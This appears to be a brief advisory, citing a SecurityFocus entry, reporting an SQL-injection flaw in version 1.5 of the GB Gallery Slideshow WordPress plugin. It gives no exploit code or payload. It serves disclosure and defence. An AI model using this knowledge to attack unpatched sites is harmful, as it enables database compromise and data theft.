source: https://www.securityfocus.com/bid/69181/info The GB Gallery Slideshow plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. GB Gallery Slideshow 1.5 is vulnerable; other versions may also be affected.
